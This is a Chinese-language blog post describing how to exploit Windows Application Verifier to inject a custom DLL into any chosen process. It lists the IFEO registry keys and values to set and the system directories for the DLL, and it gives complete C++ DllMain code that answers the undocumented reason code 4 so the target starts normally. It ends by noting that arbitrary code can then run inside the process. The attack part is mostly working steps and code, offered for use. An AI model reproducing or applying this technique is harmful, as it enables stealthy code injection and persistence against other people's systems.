关于Application Verifier 0day的相关说明

关于Application Verifier 0day的相关说明

新闻报道:http://www.freebuf.com/vuls/130075.html

该0day的利用方法:
1 在HKLM-SOFTWARE-Microsoft-Windows NT-currentVersion-IFEO下面,建立名为XXX的项目(XXX为目标进程名字,如cmd.exe)

2 在新建项下,建立两个键值。

名称 类型 数据
GlobalFlag REG_DWORD 0X100(256)
VerifierDlls REG_SZ YYY(注入dll的名字,如exampleDll.dll)

3 将exampleDll.dll拷贝如系统目录。对于x86架构,则为system32。对于x64架构,则为system32和sysWow64,其中,system32存放注入64位进程的dll, sysWow64存放注入32位进程的dll.

以上步骤完成后,目标进程在启动时就会自动加载exampleDll.dll了。然而,若不对exampleDll.dll进行特殊处理,目标进程在启动的时候会初始化失败。
具体原因涉及到Application Verifier的工作原理,此部分Microsoft并没有给出文档。浅层原因和解决方法查看下面示例dllmain.cpp。

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"

BOOL verifierInitialization(LPVOID lpReserved);

typedef struct _RTL_VERIFIER_DLL_DESCRIPTOR
{
    PWSTR pwszDllName;
    DWORD dwDllFlags;
    PVOID pvDllAddress;
    PVOID pvDllThunks;
} RTL_VERIFIER_DLL_DESCRIPTOR, *PRTL_VERIFIER_DLL_DESCRIPTOR;

typedef struct _RTL_VERIFIER_PROVIDER_DESCRIPTOR
{
    DWORD dwLength;
    PVOID pvProviderDlls;
    PVOID pvProviderDllLoadCallback;
    PVOID pvProviderDllUnloadCallback;
    PWSTR pwszVerifierImage;
    DWORD dwVerifierFlags;
    DWORD dwVerifierDebug;
    PVOID pvRtlpGetStackTraceAddress;
    PVOID pvRtlpDebugPageHeapCreate;
    PVOID pvRtlpDebugPageHeapDestroy;
    PVOID pvProviderNtdllHeapFreeCallback;
} RTL_VERIFIER_PROVIDER_DESCRIPTOR, *PRTL_VERIFIER_PROVIDER_DESCRIPTOR;

typedef struct _RTL_VERIFIER_MINILOADATTACH_PROVIDER_DESCRIPTOR
{
    DWORD dwLength;
    DWORD dwReserved;
    DWORD dwReserved1;
    DWORD dwReserved2;
    DWORD dwReserved3;
    DWORD dwReserved4;
    DWORD dwReserved5;
    DWORD dwReserved6;
    PDWORD pdwAVrfDphGlobalFlags;
    PVOID pvAVrfpHeapTable;
    PRTL_VERIFIER_PROVIDER_DESCRIPTOR ptAVrfpProvider;
    CHAR szReserved7[0x18];
} RTL_VERIFIER_MINILOADATTACH_PROVIDER_DESCRIPTOR, *PRTL_VERIFIER_MINILOADATTACH_PROVIDER_DESCRIPTOR;

/* Global Variables **********************************************************/
RTL_VERIFIER_DLL_DESCRIPTOR atDLLs[] = { { 0 } };
RTL_VERIFIER_PROVIDER_DESCRIPTOR tVpd = { sizeof(RTL_VERIFIER_PROVIDER_DESCRIPTOR), atDLLs };


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    if (ul_reason_for_call == 0x4)  //verifier
        return verifierInitialization(lpReserved);
    return TRUE;
}


BOOL verifierInitialization(LPVOID lpReserved) {
    if (lpReserved == NULL) {
        return FALSE;
    }
    *((PRTL_VERIFIER_PROVIDER_DESCRIPTOR *)lpReserved) = &tVpd;
    return TRUE;
}

通常我们认为dllmain的ul_reason_for_call参数只会出现0-3的取值,分别代表process attach,process detach, thread attach和thread detach的调用原因。然而,在利用Application Verifier 0day时,出现了取值为4的情况。在这种情况下,我们需要像示例代码一样构造三个结构体,并传递参数。这样,目标程序才能正确初始化。

完成了所有上述步骤后,目标进程在运行的时候就会自动的带上我们自定义的dll了。之后就可以在dllmain里面做各种想做的事情。

你可能感兴趣的:(关于Application Verifier 0day的相关说明)